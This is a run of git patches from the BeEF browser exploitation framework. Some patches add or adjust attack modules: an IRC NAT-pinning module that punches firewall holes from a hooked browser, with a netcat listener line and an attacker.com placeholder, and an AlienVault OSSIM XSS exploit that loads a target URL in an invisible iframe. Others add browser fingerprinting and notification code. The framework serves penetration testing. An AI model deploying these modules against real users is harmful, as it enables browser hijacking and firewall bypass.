munge them together into a string with '/' characters, like a folder. + mod['category'].each {|cat| + flatcategory << cat + "/" + } + else + flatcategory = mod['category'] + if flatcategory[-1,1] != "/" + flatcategory.concat("/") + end + end + + update_command_module_tree(tree, flatcategory, get_command_module_status(k), mod['name'],mod['db']['id']) } # if dynamic modules are found in the DB, then we don't have yaml config for them From 71fb6ae089e44f0c45c8697e58078e2e606dd933 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 23 Jul 2012 18:25:55 +0100 Subject: [PATCH 066/225] bind_socket: receive buffer length increased to 1024 bytes --- core/main/network_stack/assethandler.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/main/network_stack/assethandler.rb b/core/main/network_stack/assethandler.rb index 0e74791fb..4ce4f00c7 100644 --- a/core/main/network_stack/assethandler.rb +++ b/core/main/network_stack/assethandler.rb @@ -70,7 +70,7 @@ module Handlers loop do Thread.start(server.accept) do |client| data = "" - recv_length = 64 + recv_length = 1024 while (tmp = client.recv(recv_length)) data += tmp break if tmp.length < recv_length || tmp.length == recv_length From d5606c9bf467159f3f46614e403e7aaf3a0587a6 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 23 Jul 2012 18:31:54 +0100 Subject: [PATCH 067/225] NAT pinning. now uses the new bind/unbind socket methods of the AssetHandler. No need to use netcat anymore ;) --- modules/network/nat_pinning_irc/module.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/network/nat_pinning_irc/module.rb b/modules/network/nat_pinning_irc/module.rb index 05d005189..4a411204a 100644 --- a/modules/network/nat_pinning_irc/module.rb +++ b/modules/network/nat_pinning_irc/module.rb @@ -15,10 +15,9 @@ # class Irc_nat_pinning < BeEF::Core::Command - #todo antisnatchor: reverted for now - #def pre_send - # BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket("IRC", "0.0.0.0", 6667) - #end + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket("IRC", "0.0.0.0", 6667) + end def self.options return [ @@ -32,8 +31,9 @@ class Irc_nat_pinning < BeEF::Core::Command return if @datastore['result'].nil? save({'result' => @datastore['result']}) - #todo antisnatchor: how long should we leave it open? Maybe default timeout of 30 seconds? - #BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket("IRC") + # wait 30 seconds before unbinding the socket. The HTTP connection will arrive sooner than that anyway. + sleep 30 + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket("IRC") end From 701d634f4ff7e8c2d887544771cd731c089dc1d7 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 23 Jul 2012 18:34:06 +0100 Subject: [PATCH 068/225] NAT_pinning: updated description --- modules/network/nat_pinning_irc/config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/network/nat_pinning_irc/config.yaml b/modules/network/nat_pinning_irc/config.yaml index a44e71913..093cd618a 100644 --- a/modules/network/nat_pinning_irc/config.yaml +++ b/modules/network/nat_pinning_irc/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: "Network" name: "IRC NAT Pinning" - description: "Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices. The firewall/NAT-device must support IRC connection tracking. On the attackers side the TCP connection just needs to be accepted (nc -l -p 6667). Then you can connect to the victims public IP on that port. For the moment it hasn't been tested with NAT, but it works with iptables when ip_conntrack and ip_conntrack_irc are loaded. For more information, please refer to: http://samy.pl/natpin/ ." + description: "Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices. The firewall/NAT-device must support IRC connection tracking. BeEF will automatically bind a socket on port 6667 (IRC). Then you can connect to the victims public IP on that port. For the moment it hasn't been tested with NAT, but it works with iptables when ip_conntrack and ip_conntrack_irc are loaded. For more information, please refer to: http://samy.pl/natpin/ ." authors: ["Bart Leppens"] target: working: ["FF"] From b7a43144247cd0cd012cde31cefb0ab58b0a17ab Mon Sep 17 00:00:00 2001 From: bmantra Date: Mon, 23 Jul 2012 20:21:36 +0200 Subject: [PATCH 069/225] nat tested --- modules/network/nat_pinning_irc/config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/network/nat_pinning_irc/config.yaml b/modules/network/nat_pinning_irc/config.yaml index 093cd618a..784c7e7be 100644 --- a/modules/network/nat_pinning_irc/config.yaml +++ b/modules/network/nat_pinning_irc/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: "Network" name: "IRC NAT Pinning" - description: "Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices. The firewall/NAT-device must support IRC connection tracking. BeEF will automatically bind a socket on port 6667 (IRC). Then you can connect to the victims public IP on that port. For the moment it hasn't been tested with NAT, but it works with iptables when ip_conntrack and ip_conntrack_irc are loaded. For more information, please refer to: http://samy.pl/natpin/ ." + description: "Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices. The firewall/NAT-device must support IRC connection tracking. BeEF will automatically bind a socket on port 6667 (IRC). Then you can connect to the victims public IP on that port. For more information, please refer to: http://samy.pl/natpin/ ." authors: ["Bart Leppens"] target: working: ["FF"] From 1226ed4b34f366cfbe2230bd801834f673e60194 Mon Sep 17 00:00:00 2001 From: bmantra Date: Mon, 23 Jul 2012 20:30:04 +0200 Subject: [PATCH 070/225] nat tested --- modules/network/nat_pinning_irc/config.yaml | 4 ---- modules/network/nat_pinning_irc/module.rb | 6 +++--- 2 files changed, 3 insertions(+), 7 deletions(-) diff --git a/modules/network/nat_pinning_irc/config.yaml b/modules/network/nat_pinning_irc/config.yaml index 07e50841b..784c7e7be 100644 --- a/modules/network/nat_pinning_irc/config.yaml +++ b/modules/network/nat_pinning_irc/config.yaml @@ -19,11 +19,7 @@ beef: enable: true category: "Network" name: "IRC NAT Pinning" -<<<<<<< HEAD description: "Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices. The firewall/NAT-device must support IRC connection tracking. BeEF will automatically bind a socket on port 6667 (IRC). Then you can connect to the victims public IP on that port. For more information, please refer to: http://samy.pl/natpin/ ." -======= - description: "Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices. The firewall/NAT-device must support IRC connection tracking. On the attackers side the TCP connection just needs to be accepted (nc -l -p 6667). Then you can connect to the victims public IP on that port. For more information, please refer to: http://samy.pl/natpin/ ." ->>>>>>> 5a2b29bab46a04c1062119fcff43be416d4fac00 authors: ["Bart Leppens"] target: working: ["FF"] diff --git a/modules/network/nat_pinning_irc/module.rb b/modules/network/nat_pinning_irc/module.rb index 65890d517..4a411204a 100644 --- a/modules/network/nat_pinning_irc/module.rb +++ b/modules/network/nat_pinning_irc/module.rb @@ -15,9 +15,9 @@ # class Irc_nat_pinning < BeEF::Core::Command - #def pre_send - # BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket("IRC", "0.0.0.0", 6667) - #end + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket("IRC", "0.0.0.0", 6667) + end def self.options return [ From a4e74aaad0ef11934b23847690c00bbf7789f751 Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 24 Jul 2012 10:55:28 +0930 Subject: [PATCH 071/225] Added AlienVault OSSIM 3.1 XSS module --- .../xss/alienvault_ossim_3.1_xss/command.js | 26 +++++++++++++++ .../xss/alienvault_ossim_3.1_xss/config.yaml | 25 ++++++++++++++ .../xss/alienvault_ossim_3.1_xss/module.rb | 33 +++++++++++++++++++ 3 files changed, 84 insertions(+) create mode 100644 modules/exploits/xss/alienvault_ossim_3.1_xss/command.js create mode 100644 modules/exploits/xss/alienvault_ossim_3.1_xss/config.yaml create mode 100644 modules/exploits/xss/alienvault_ossim_3.1_xss/module.rb diff --git a/modules/exploits/xss/alienvault_ossim_3.1_xss/command.js b/modules/exploits/xss/alienvault_ossim_3.1_xss/command.js new file mode 100644 index 000000000..6a942ff85 --- /dev/null +++ b/modules/exploits/xss/alienvault_ossim_3.1_xss/command.js @@ -0,0 +1,26 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var uri = '<%= @uri.gsub(/'/, "\\'") %>'; + + var alienvault_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); + alienvault_iframe_<%= @command_id %>.setAttribute('src', uri); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + +}); + diff --git a/modules/exploits/xss/alienvault_ossim_3.1_xss/config.yaml b/modules/exploits/xss/alienvault_ossim_3.1_xss/config.yaml new file mode 100644 index 000000000..a43a30312 --- /dev/null +++ b/modules/exploits/xss/alienvault_ossim_3.1_xss/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + alienvault_ossim_3_1_xss: + enable: true + category: ["Exploits", "XSS"] + name: "AlienVault OSSIM 3.1 XSS" + description: "Attempts to hook AlienVault OSSIM 3.1 using XSS.
For more information see: http://www.exploit-db.com/exploits/20062/" + authors: ["bcoles", "muts"] + target: + working: ["ALL"] diff --git a/modules/exploits/xss/alienvault_ossim_3.1_xss/module.rb b/modules/exploits/xss/alienvault_ossim_3.1_xss/module.rb new file mode 100644 index 000000000..abcf44b8c --- /dev/null +++ b/modules/exploits/xss/alienvault_ossim_3.1_xss/module.rb @@ -0,0 +1,33 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Alienvault_ossim_3_1_xss < BeEF::Core::Command + + def self.options + + configuration = BeEF::Core::Configuration.instance + hook_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/hook.js" + + return [ + {'name' => 'uri', 'ui_label' => 'Target URL', 'value' => 'http://target/ossim/top.php?option=3&soption=3&url='} + ] + + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end From 83f29505a5d6cfaf4005b89ddcd628781a291f99 Mon Sep 17 00:00:00 2001 From: Christian Frichot Date: Wed, 25 Jul 2012 14:21:37 +0800 Subject: [PATCH 072/225] Minor fix to the Shell interface - can review offline targets now --- extensions/console/lib/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/extensions/console/lib/command_dispatcher/core.rb b/extensions/console/lib/command_dispatcher/core.rb index 09108cc88..a7e7905b6 100644 --- a/extensions/console/lib/command_dispatcher/core.rb +++ b/extensions/console/lib/command_dispatcher/core.rb @@ -308,7 +308,7 @@ class Core if driver.interface.targetid.length > 1 driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ") else - driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ") + driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ") end end From e299045539d9dada3ae0f2931d892413cebd6973 Mon Sep 17 00:00:00 2001 From: bmantra Date: Wed, 25 Jul 2012 14:47:56 +0200 Subject: [PATCH 073/225] add default beef host/ip to connect to --- modules/network/nat_pinning_irc/command.js | 2 +- modules/network/nat_pinning_irc/module.rb | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/network/nat_pinning_irc/command.js b/modules/network/nat_pinning_irc/command.js index 7debb8fe8..4caef4fef 100644 --- a/modules/network/nat_pinning_irc/command.js +++ b/modules/network/nat_pinning_irc/command.js @@ -25,7 +25,7 @@ beef.execute(function() { var myIframe = beef.dom.createInvisibleIframe(); var myForm = document.createElement("form"); - var action = connectto + ":6667/" + var action = "http://" + connectto + ":6667/" myForm.setAttribute("name", "data"); myForm.setAttribute("method", "post"); diff --git a/modules/network/nat_pinning_irc/module.rb b/modules/network/nat_pinning_irc/module.rb index 4a411204a..a934c79da 100644 --- a/modules/network/nat_pinning_irc/module.rb +++ b/modules/network/nat_pinning_irc/module.rb @@ -20,8 +20,11 @@ class Irc_nat_pinning < BeEF::Core::Command end def self.options + @configuration = BeEF::Core::Configuration.instance + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + return [ - {'name'=>'connectto', 'ui_label' =>'Connect to','value'=>'http://attacker.com'}, + {'name'=>'connectto', 'ui_label' =>'Connect to','value'=>beef_host}, {'name'=>'privateip', 'ui_label' =>'Private IP','value'=>'192.168.0.100'}, {'name'=>'privateport', 'ui_label' =>'Private Port','value'=>'22'} ] From 560aa7f610e7e95253bda9459afb8e0ee2727d35 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Tue, 31 Jul 2012 09:28:55 +0100 Subject: [PATCH 074/225] Changed default WebSockets port to increase success rate through proxies. --- config.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/config.yaml b/config.yaml index b9d4f8f08..80a9bb0d1 100644 --- a/config.yaml +++ b/config.yaml @@ -17,7 +17,7 @@ beef: version: '0.4.3.6-alpha' - debug: false + debug: true restrictions: # subnet of browser ip addresses that can hook to the framework @@ -43,7 +43,7 @@ beef: websocket: enable: false secure: false # use WebSocketSecure - port: 11989 + port: 61985 # good success rate through proxies alive_timer: 1000 # poll BeEF every second # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) @@ -85,6 +85,6 @@ beef: enable: false console: shell: - enable: false + enable: true evasion: enable: false From c2a21350462bf4a11c831e942f234655ab4e1014 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 1 Aug 2012 12:28:24 +0100 Subject: [PATCH 075/225] Added Chrome 21 fingerprinting. --- core/main/client/browser.js | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index cf1a5c174..0ca172c1d 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -348,12 +348,20 @@ beef.browser = { return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==20)?true:false); }, + /** + * Returns true if Chrome 21. + * @example: beef.browser.isC21() + */ + isC21: function() { + return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==21)?true:false); + }, + /** * Returns true if Chrome. * @example: beef.browser.isC() */ isC: function() { - return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19() || this.isC20(); + return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19() || this.isC20() || this.isC21(); }, /** @@ -429,6 +437,7 @@ beef.browser = { C18: this.isC18(), // Chrome 18 C19: this.isC19(), // Chrome 19 C20: this.isC20(), // Chrome 20 + C21: this.isC21(), // Chrome 21 C: this.isC(), // Chrome any version FF2: this.isFF2(), // Firefox 2 @@ -491,8 +500,9 @@ beef.browser = { if (this.isC18()) { return '18' }; // Chrome 18 if (this.isC19()) { return '19' }; // Chrome 19 if (this.isC20()) { return '20' }; // Chrome 20 + if (this.isC21()) { return '21' }; // Chrome 21 - if (this.isFF2()) { return '2' }; // Firefox 2 + if (this.isFF2()) { return '2' }; // Firefox 2 if (this.isFF3()) { return '3' }; // Firefox 3 if (this.isFF3_5()) { return '3.5'}; // Firefox 3.5 if (this.isFF3_6()) { return '3.6'}; // Firefox 3.6 From 707759950d6289c07695a5af20f31a8927b66dfa Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Thu, 2 Aug 2012 11:41:24 +0100 Subject: [PATCH 076/225] working but kludgey version of notifications with twitter and email support --- config.yaml | 2 +- core/main/logger.rb | 2 +- extensions/notifications/channels/email.rb | 60 ++++++++++++++++++++++ extensions/notifications/channels/tweet.rb | 49 ++++++++++++++++++ extensions/notifications/config.yaml | 17 ++++-- extensions/notifications/extension.rb | 2 +- extensions/notifications/notifications.rb | 52 +++++++++++++++++++ 7 files changed, 178 insertions(+), 6 deletions(-) create mode 100644 extensions/notifications/channels/email.rb create mode 100644 extensions/notifications/channels/tweet.rb create mode 100644 extensions/notifications/notifications.rb diff --git a/config.yaml b/config.yaml index d1c2f12ae..6560e8cf1 100644 --- a/config.yaml +++ b/config.yaml @@ -85,6 +85,6 @@ beef: enable: false console: shell: - enable: false + enable: true evasion: enable: false diff --git a/core/main/logger.rb b/core/main/logger.rb index 558ec5600..dbbb376c2 100644 --- a/core/main/logger.rb +++ b/core/main/logger.rb @@ -24,7 +24,7 @@ module Core # Constructor def initialize @logs = BeEF::Core::Models::Log - @notifications = BeEF::Extensions::Notifications + @notifications = BeEF::Extension::Notifications::Notifications end # Registers a new event in the logs diff --git a/extensions/notifications/channels/email.rb b/extensions/notifications/channels/email.rb new file mode 100644 index 000000000..fa49f024f --- /dev/null +++ b/extensions/notifications/channels/email.rb @@ -0,0 +1,60 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# +# +require 'net/smtp' + +module BeEF +module Extension +module Notifications +module Channels + + class Email + + # + # Constructor + # + def initialize(to_address, message) + @config = BeEF::Core::Configuration.instance + @from_address = @config.get('beef.extension.notifications.email.from_address') + @smtp_host = @config.get('beef.extension.notifications.email.smtp_host') + @smtp_port = @config.get('beef.extension.notifications.email.smtp_port') + @smtp_tls_enable = @config.get('beef.extension.notifications.email.smtp_tls_enable') + @password = @config.get('beef.extension.notifications.email.smtp_tls_password') + + # configure the email client + msg = "Subject: BeEF Notification\n\n" + message + smtp = Net::SMTP.new @smtp_host, @smtp_port + #if @smtp_tls_enable? + # smtp.enable_starttls + # smtp.start('beefproject.com', @from_address, @password, :login) do + # smtp.send_message(msg, @from_address, @to_address) + # end + #else + smtp.start do + smtp.send_message(msg, @from_address, to_address) + end + #end + + end + + end + +end +end +end +end + diff --git a/extensions/notifications/channels/tweet.rb b/extensions/notifications/channels/tweet.rb new file mode 100644 index 000000000..37ae928d6 --- /dev/null +++ b/extensions/notifications/channels/tweet.rb @@ -0,0 +1,49 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# +# +require 'twitter' + +module BeEF +module Extension +module Notifications +module Channels + + class Tweet + + # + # Constructor + # + def initialize(username, message) + @config = BeEF::Core::Configuration.instance + + # configure the Twitter client + Twitter.configure do |config| + config.consumer_key = @config.get('beef.extension.notifications.twitter.consumer_key') + config.consumer_secret = @config.get('beef.extension.notifications.twitter.consumer_secret') + config.oauth_token = @config.get('beef.extension.notifications.twitter.oauth_token') + config.oauth_token_secret = @config.get('beef.extension.notifications.twitter.oauth_token_secret') + end + + Twitter.direct_message_create(username, message) + end + end + +end +end +end +end + diff --git a/extensions/notifications/config.yaml b/extensions/notifications/config.yaml index 05461d10c..14afd864e 100644 --- a/extensions/notifications/config.yaml +++ b/extensions/notifications/config.yaml @@ -20,9 +20,20 @@ beef: name: Notifications twitter: enable: true - consumer_token: consumer_token - consumer_secret: consumer_secret + consumer_key: your_app_consumer_key + consumer_secret: your_app_consumer_secret + oauth_token: your_twitter_access_token_for_this_app + oauth_token_secret: your_twitter_access_secret_for_this_app + target_username: your_twitter_username email: enable: false - address: nobody@nobody.com + from_address: your_email_address + to_address: where_to_send_notification + smtp_host: 127.0.0.1 + smtp_port: 25 + smtp_tls_enable: false + irc: + server: irc.freenode.net + channel: #random_beef_channel_foobar + diff --git a/extensions/notifications/extension.rb b/extensions/notifications/extension.rb index eef405305..d5c5c04c8 100644 --- a/extensions/notifications/extension.rb +++ b/extensions/notifications/extension.rb @@ -27,4 +27,4 @@ end end end -require 'extensions/notifications/handler' +require 'extensions/notifications/notifications' diff --git a/extensions/notifications/notifications.rb b/extensions/notifications/notifications.rb new file mode 100644 index 000000000..e4a447b3d --- /dev/null +++ b/extensions/notifications/notifications.rb @@ -0,0 +1,52 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +require 'extensions/notifications/channels/tweet' +require 'extensions/notifications/channels/email' + +module BeEF +module Extension +module Notifications + + # + # Notifications class + # + class Notifications + + def initialize(from, event, time_now, hb) + @config = BeEF::Core::Configuration.instance + if @config.get('beef.extension.notifications.enable') == false + # notifications are not enabled + return nil + else + @from = from + @event = event + @time_now = time_now + @hb = hb + end + + username = @config.get('beef.extension.notifications.twitter.target_username') + to_address = @config.get('beef.extension.notifications.email.to_address') + message = "#{from} #{event} #{time_now} #{hb}" + + BeEF::Extension::Notifications::Channels::Tweet.new(username,message) + BeEF::Extension::Notifications::Channels::Email.new(to_address,message) + end + + end + +end +end +end From 1a6bf75d5770a15bce0db47ed987bd7eb7093bd1 Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Thu, 2 Aug 2012 11:50:05 +0100 Subject: [PATCH 077/225] remove now redundant handlers directory --- extensions/notifications/handlers/twitter.rb | 43 -------------------- 1 file changed, 43 deletions(-) delete mode 100644 extensions/notifications/handlers/twitter.rb diff --git a/extensions/notifications/handlers/twitter.rb b/extensions/notifications/handlers/twitter.rb deleted file mode 100644 index 244f8addf..000000000 --- a/extensions/notifications/handlers/twitter.rb +++ /dev/null @@ -1,43 +0,0 @@ -# -# Copyright 2012 Wade Alcorn wade@bindshell.net -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# -# -# Generic Http Handler that extensions can use to register http -# controllers into the framework. -# -module BeEF -module Extension -module Notifications -module Handlers - - class Twitter - - # - # Constructor - # - def initialize - # configure the Twitter client - Twitter.configure do |config| - config.consumer_key = '' - config.consumer_secret = '' - end - end - - end - -end -end -end -end From 82dc6fee0d3d2d4c46cc68968b0c3823b137344a Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Thu, 2 Aug 2012 11:51:14 +0100 Subject: [PATCH 078/225] remove now redundant handler --- extensions/notifications/handler.rb | 43 ----------------------------- 1 file changed, 43 deletions(-) delete mode 100644 extensions/notifications/handler.rb diff --git a/extensions/notifications/handler.rb b/extensions/notifications/handler.rb deleted file mode 100644 index 9611d7813..000000000 --- a/extensions/notifications/handler.rb +++ /dev/null @@ -1,43 +0,0 @@ -# -# Copyright 2012 Wade Alcorn wade@bindshell.net -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# -module BeEF -module Extension -module Notifications - - # - # The handler for notifications - # - class Handler - - def initialize - @config = BeEF::Core::Configuration.instance.get('beef.extension.notifications') - @config.inspect - - if @config.enable = false - # notifications are not enabled - return nil - end - end - - def new(from, event, time_now, hb) - print_info "#{from}:#{event}:#{time_now}:#{hb}" - end - - end - -end -end -end From 73fc9603334b99644e69cd32c1d45edc241c5784 Mon Sep 17 00:00:00 2001 From: Michal Papis Date: Thu, 2 Aug 2012 21:22:35 +0300 Subject: [PATCH 079/225] improved installation command updated the installation command: - reversed notation to prevent `curl -s` and hiding errors, - shortened the commit sha1, still usable but easier to see whole command. --- README.mkd | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.mkd b/README.mkd index 79df0d1af..272b5ae76 100644 --- a/README.mkd +++ b/README.mkd @@ -72,7 +72,7 @@ __The following is for the impatient.__ For full installation details (including on Microsoft Windows), please refer to INSTALL.txt. - $ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef) + $ curl https://raw.github.com/beefproject/beef/a6a7536e/install-beef | bash -s stable Usage From 45c9f674e44cd84a7b03c140bc6198b5b21c0fbb Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Fri, 3 Aug 2012 22:00:54 +0100 Subject: [PATCH 080/225] remove IRC config, might get around to this one day --- extensions/notifications/config.yaml | 5 ----- 1 file changed, 5 deletions(-) diff --git a/extensions/notifications/config.yaml b/extensions/notifications/config.yaml index 14afd864e..e3957dab8 100644 --- a/extensions/notifications/config.yaml +++ b/extensions/notifications/config.yaml @@ -32,8 +32,3 @@ beef: smtp_host: 127.0.0.1 smtp_port: 25 smtp_tls_enable: false - irc: - server: irc.freenode.net - channel: #random_beef_channel_foobar - - From bd4b28ae3cd1e3a1ea17b4803a2dcb3aaf1997e9 Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Fri, 3 Aug 2012 22:04:28 +0100 Subject: [PATCH 081/225] turn off debugging in committed version --- config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.yaml b/config.yaml index 80a9bb0d1..ff55c7b43 100644 --- a/config.yaml +++ b/config.yaml @@ -17,7 +17,7 @@ beef: version: '0.4.3.6-alpha' - debug: true + debug: false restrictions: # subnet of browser ip addresses that can hook to the framework From 192eb9706d0e4606ef90e45e7c2c980d6e39baa7 Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Fri, 3 Aug 2012 22:14:20 +0100 Subject: [PATCH 082/225] disable twitter and email notifications by default --- extensions/notifications/config.yaml | 12 ++++++------ extensions/notifications/notifications.rb | 13 +++++++++---- 2 files changed, 15 insertions(+), 10 deletions(-) diff --git a/extensions/notifications/config.yaml b/extensions/notifications/config.yaml index e3957dab8..bac1a0318 100644 --- a/extensions/notifications/config.yaml +++ b/extensions/notifications/config.yaml @@ -19,12 +19,12 @@ beef: enable: true name: Notifications twitter: - enable: true - consumer_key: your_app_consumer_key - consumer_secret: your_app_consumer_secret - oauth_token: your_twitter_access_token_for_this_app - oauth_token_secret: your_twitter_access_secret_for_this_app - target_username: your_twitter_username + enable: false + consumer_key: consumer_key + consumer_secret: consumer_secret + oauth_token: oauth_token_for_this_app + oauth_token_secret: oauth_token_secret_for_this_app + target_username: twitter_handle_to_receive_tweet email: enable: false from_address: your_email_address diff --git a/extensions/notifications/notifications.rb b/extensions/notifications/notifications.rb index e4a447b3d..b9e5cbb94 100644 --- a/extensions/notifications/notifications.rb +++ b/extensions/notifications/notifications.rb @@ -37,12 +37,17 @@ module Notifications @hb = hb end - username = @config.get('beef.extension.notifications.twitter.target_username') - to_address = @config.get('beef.extension.notifications.email.to_address') message = "#{from} #{event} #{time_now} #{hb}" - BeEF::Extension::Notifications::Channels::Tweet.new(username,message) - BeEF::Extension::Notifications::Channels::Email.new(to_address,message) + if @config.get('beef.extension.notifications.twitter.enable') == true + username = @config.get('beef.extension.notifications.twitter.target_username') + BeEF::Extension::Notifications::Channels::Tweet.new(username,message) + end + + if @config.get('beef.extension.notifications.email.enable') == true + to_address = @config.get('beef.extension.notifications.email.to_address') + BeEF::Extension::Notifications::Channels::Email.new(to_address,message) + end end end From 0cec6b87a826dee2853263ca9944f76999611c3d Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Fri, 3 Aug 2012 23:13:58 +0100 Subject: [PATCH 083/225] fixed disabling of notifications extension --- core/main/logger.rb | 9 +++++++-- extensions/metasploit/.rpcclient.rb.swp | Bin 16384 -> 0 bytes extensions/notifications/config.yaml 